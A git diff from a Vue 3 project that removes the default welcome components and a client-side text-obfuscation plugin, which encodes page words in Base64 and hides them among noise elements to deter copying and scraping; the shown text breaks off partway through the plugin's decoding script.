||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -25,6 +24,5 @@ app.use(i18n);
|
|||||||
app.use(createPinia());
|
app.use(createPinia());
|
||||||
app.use(router);
|
app.use(router);
|
||||||
|
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
